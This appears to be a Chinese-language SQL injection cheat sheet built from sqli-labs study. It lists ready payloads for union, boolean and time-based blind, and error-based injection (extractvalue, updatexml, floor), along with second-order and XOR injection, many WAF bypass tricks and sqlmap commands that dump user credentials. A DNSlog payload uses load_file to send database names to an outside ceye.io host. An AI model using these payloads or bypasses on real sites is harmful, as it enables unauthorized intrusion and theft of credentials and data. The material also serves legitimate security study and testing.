SQL注入

数据库结构

Access:

  • 表名
    • 列名
      • 数据

mysql、mssql、Oracle、MongoDB:

  • 数据库名
    • 表名
      • 列名
        • 数据

MYSQL注入

查询方式

select查询语句

在网站应用中进行数据显示查询操作。

查库

SELECT schema_name FROM information_schema.schemata

查表

SELECT table_name FROM information_schema.tables WHERE table_schema='security'

查列

SELECT column_name FROM information_schema.columns WHERE table_name='users'

查字段

SELECT username FROM security.users

insert插入语句

在网站应用中进行用户注册添加等操作。

INSERT INTO news(id,url,name) VALUES(2,'x','abc');

delete删除语句

后台管理里面删除文章删除用户等操作。

DELETE FROM news WHERE id=1;

update更新数据

会员或后台中心数据同步或缓存等操作。

UPDATE user SET pwd=123 WHERE id=2 and username='admin'

有回显注入

联合查询

查列数:order by 4

联合查询:union select 1,2,3,……

在有回显的数字替换成查询语句即可。

无回显盲注

布尔盲注

regexp、like、ascii、left、ord、mid

一般配合py脚本注入。

当前数据库名第一位字母:

'and left(database(),1)='s'--+ 
'and substr(database(),1,1)='s'--+
'and ascii(substr(database(),1,1))=115--+ 

第六个数据库名的第一个字母的ascii码:

'and ascii(substr((select schema_name from information_schema.schemata limit 5,1),1,1))=115--+

判断security库中的第四个表的数据的第一位的ascii码:

'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>11--+

判断表中字段

'and ascii(substr((select column_name from information_schema.columns where table_name = 'security' limit 1,1),1,1))>10--+
'and ascii(substr((select username from security.users limit 0,1),1,1))>10--+

时间盲注

if、sleep

一般配合py脚本注入。

payload 解释
?id=1’ and if (ascii(substring(database(),1,1))=67,sleep(5),1)–+ 通过ascii码来比较
?id=1’ and if (hex(substring(database(),1,1))=FF,sleep(5),1)–+ 通过十六进制值来比较
?id=1’ and if (mid(database(),1,1)=’s’,sleep(5),1)–+ 使用mid函数代替substr
?id=1’ and if (substr(database(),1,1)=’s’,sleep(5),1)–+
?id=1’ and if (left(database(),2)=’se’,sleep(5),1)–+ 截取左边两个个字符
?id=1’ and if (right(database(),2)=’ty’,sleep(5),1)–+ 截取右边两个字符

判断是否存在漏洞:’and sleep(5)–+

报错注入

页面无法显示数据库的信息,但是源码中有mysql输出错误的函数把mysql的错误回显到前端,也就是有报错内容的。
报错注入形式上一般是做两个嵌套的查询,里面的那个查询被称为子查询,执行顺序也是从子查询开始的,所以我们可以通过子查询查询我们想要的数据,然后在通过报错函数将我们查询到的数据带出,从而达到爆出想要查询的数据。

12种报错注入+万能语句 - 简书 (jianshu.com)

extractvalue

mysql版本号大于5.1.5

对XML文档进行查询的函数。

EXTRACTVALUE(XML_document,XPath_string):从XML_document中返回所包含查询值的XPath_string

第二个参数XPath_String是报错的关键,XML文档中查找字符位置是用/xxx/xxx/xxx这种格式,如果我们写入非法格式的内容就会报错,并且返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

paylaod:

EXTRACTVALUE('anything',[查询语句])

使用concat()能使查询语句输出的更加完整。

extractvalue()报错一次只能回显出32位的数据,如果想要回显超过32位的数据,需要使用substr(), mid(), left(), right()之类的截断函数去截断数据分次输出。

爆数据库名

'and extractvalue(1,concat(0x7e,(select database())))--+

爆表名

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

爆列名

'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+

爆数据

'and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))--+

updatexml

mysql版本号大于5.1.5

更新XML文档的函数。

UPDATEXML(XML_document,XPath_string,new_value);

updatexml()的报错注入姿势和extractvalue()类似,也是第二个参数位置,输入非法字符,导致报错。

updatexml()和extractvalue()相同一次只能输出32位数据,要完整的输出数据只能使用截断函数进行截断分多次输出。

爆数据库名

'and updatexml(1,concat(0x7e,(select database())),0x7e)--+

爆表名

'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)--+

爆列名

'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users')),0x7e)--+

爆数据

'and updatexml(1,concat(0x7e,(select group_concat(password)from users)),0x7e)--+

floor

Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户

这里需要先了解几个函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by x 分组语句,按照查询结果分组

报错语句:

select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

上面两句的含义是一模一样的,第二句只是把concat(database(),floor(rand(0)*2)) 当做了x

  • floor(rand(0)*2)):rand()函数每次产生的数都不同,但是通过一个固定的随机数的种子0之后,rand(0)可以形成固定的伪随机序列。所以floor(rand(0)*2)就会产生固定的数列011011
  • group_by:通过group by进行分组排序,结果会进行分组,相同名字为合并。
  • count(*):计数。

对于语句:

select count(*) from users group by (floor(rand(0)*2));

小tips:在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候floor(rand(0)*2)会再被执行一次

执行流程:floor(rand(0)*2))第一次计算是0,虚表没有,于是插入虚表,注意此时floor(rand(0)*2))又会计算一次(第二次计算),结果为1,所以插入虚表的值是1;然后floor(rand(0)*2))第三次计算结果是1,虚表里有,于是count直接加1;floor(rand(0)*2))第四次计算是0,虚表没有,于是插入虚表,此时floor(rand(0)*2))会再次计算(第五次计算)然后插入虚表,此时结果是1,但是虚表里已经有1了,所以导致了主键重复报错。

报错信息:ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

爆数据库名:

'and (select count(*) from users group by concat(database(),floor(rand(0)*2)))--+

爆表名:

'and (select count(*) from users group by concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)))--+

爆列名:

'and (select count(*) from users group by concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)))--+

爆数据:

'and (select count(*) from users group by concat((select password from security.users limit 0,1),floor(rand(0)*2)))--+

二次注入

原理:攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。

sqli-labs_Less24为例:

先注册一个名为admin'#的用户,然后登录改密码。

更改密码用的语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里usernameadmin'#,所以语句变成了:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

#后面的都被注释了。变成了更改admin的密码。

可以用更改后的密码登录admin,或者结合报错/盲注进行数据库注入。

dnslog注入

DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)

我的:CEYE - 监控服务以进行安全测试

paylaod:

select load_file(concat('\\\\',(select database()),'.xhmmod.ceye.io/abc'));

堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询

;

基本函数参考

函数 解释 payload
database() 数据库名
user() 用户名
version() 数据库版本
@@version_compile_os 操作系统
concat() 没有分隔符的连接字符串 concat(a,b)
concat_ws() 含有分隔符的连接字符串 concat_ws(‘:’,a,b)
group_concat() 一行显示出来,并以逗号分隔每一条数据
left(a,b) 从左侧截取a的前b位 left(database(),1)=’s’
right(a,b) 从右侧截取a的前b位
regexp() user()的结果是root,regexp为匹配root的正则表达式 select user() regexp ‘r’
substr(a,b,c) 从b位置开始,截取a字符串的c长度
mid(a,b,c) 从b位置开始,截取a字符串的c位
length() 返回字符串的长度
ascii() 将字符串转化为ascii值 \
like 与regexp相似 select user() like ‘ro%’
load_file() 读取本地文件 select load_file(‘文件路径’)
into outfile 写文件(注意//双写) select ‘句子’ into outfile ‘文件路径及名称’

注释符使用

(GET提交方式):

   – (后面有空格)

   %23

  payload结尾单引号闭合

(POST提交方式):

   – (后面有空格)

   #

   payload结尾单引号闭合

异或注入

union,and 被完全过滤掉了,就可以考虑使用异或注入

异或运算规则:

==1^1=0 0^0=0 0^1=1==

1^ 1^1=0 1^ 1^0=0

==两真为假,两假为真==

xor 是逻辑上的异或操作;^ 是前后进行二进制层面的异或运算

0^(ascii(substr((select(flag)from(flag)),1,1))>1)


WAF绕过

  1. 大小写

  2. 关键字重复(双写)

  3. 关键字替换

    and –> && or –> || like–> = <>–> !=

  4. fuzz大法

  5. 注释符绕过

    /**/空格用这个替换

    /* 这里可以填写很多内容 */

    内联注释:/*!union select */ 里面的东西是可以正常运行的,mysql特性。

  6. 特殊符号绕过

    mysql 空白符: %09; %0A; %0B; %0D; %20; %0C; %A0; /* xxx */

    正则空白符:%09; %0A; %0B; %0D; %20; %25就是百分号

    union%23a%0aselect 1,2,3--+

  7. 函数分割符号 concat/**/() concat%2520()

  8. 浮点数法 1E0表示 1*10^0

  9. 加密解密

  10. 编码解码

  11. 等价函数替换

  12. 更改提交方式

  13. mysql黑语法

    select {x schema_name} from {x information_scheam.schemata};

    select {x 1};

  14. 当开启了魔术函数==过滤了引号==时,可以在引号前加上一个汉字双字节编码,可以实现绕过。

    例如构造Payload为:

    username=%BF'

    %BF解码之后是中文乱码

  15. 用 ==/*!50000%53elect*/== 代替select实现绕过

    select
    /*!50000%53elect*/
    order 
     /*!50000%6Frder*/
    union
    /*!50000%75nion*/
  16. http参数污染,比如PHP/Apache的服务器get方式提交时存在多个相同的参数名,只有最后一个生效。(不同中间件规则不同)

    例:?id=1/**&id=-1 union select 1,2,3#*/
  17. ip白名单,改X-forwarded-forX-remote-IPX-originating-IPX-remote-addrX-Real-IP

  18. 静态资源

http://127.0.0.1/index.php?id=1 and 1=1
http://127.0.0.1/index.php/x.txt?id=1 and 1=1	依然正常运行
http://127.0.0.1/index.php/admin.php?id=1 and 1=1	admin.php是在白名单里的没有拦截
  1. 爬虫白名单

  2. 当过滤了information_schema
    可以用mysql.innodb_table_stats代替information_schema

    InnoDb引擎
    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_statsinnodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

    sys数据库
    在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schemaperformance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=103

2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}.format()

工具

sqlmap、NoSQLAttack、Pangolin

Sqlmap使用:

一般:

python sqlmap.py -u "url"

加上脚本

python sqlmap.py -u "url" --tamper=xxx.py

代理(一般用于burp抓包分析):

python sqlmap.py -u "url" --proxy=http://127.0.0.1:8080

随机Agent头:

python sqlmap.py -u "url" --random-agent

指定爬虫Agent(百度):

python sqlmap.py -u "url" --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

延迟

python sqlmap.py -u "url" --delay 1

重写http头,可以借照post方式,直接以数据包形式扫。

python sqlmap.py -r 数据包文件 

参数值存在编码情况,中转注入,在本地写一个:

<?php
$url='';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>

sqlmap注入本地脚本地址—-》本地搭建脚本(请求数据自定义编写)访问远程地址


获取当前数据库

sqlmap -u 网址 –forms –batch –current-db

获取gkk库的

sqlmap -u 网址 –forms –batch -D gkk –tables

获取user的

sqlmap -u 网址 –forms –batch -D gkk -T user –columns

获取账号密码字段

sqlmap -u 网址 –forms –batch -D gkk -T user -C uname,pwd,vip –dump


参数

–banner:指纹信息

–batch:使用非交互式扫描,SQLMap将不会询问

–dbs:获取数据库列表

–tables:获取所有的数据表

–columns:获取所有字段(列)

–dump:获取行数据

-D:指定数据库

-T:指定数据表

-C:指定字段,用逗号间隔

–user:当前用户

–current-db:当前数据库

–is-dba:是否为DBA(Database Administrator)

–form 制作表格